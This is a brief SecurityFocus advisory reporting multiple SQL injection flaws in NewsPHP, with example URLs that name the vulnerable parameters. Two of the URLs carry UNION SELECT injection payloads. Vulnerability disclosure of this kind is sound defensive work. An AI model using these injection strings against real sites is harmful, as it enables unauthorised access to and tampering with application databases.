source: http://www.securityfocus.com/bid/16339/info

NewsPHP is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/index.php?discuss=SQL

http://www.example.com/index.php?tim=SQL

http://www.example.com/index.php?id=SQL

http://www.example.com/index.php?words=%20&where=1&limit=40&last=SQL

http://www.example.com/index.php?words=%20&where=1&limit=SQL

http://www.example.com/index.php?words=&where=1&submitted=true&address=E-mail+Address&action=add&rate=5&id=(SQL)&article_rate=Rate

http://www.example.com/ndex.php?id=-99 union select null,null,null,null,null,null,null,null,null from newsphp.pro/*

http://www.example.com/index.php?tim=-1 union select null,null,null,null,null,null,null,null,null from newsphp.pro/*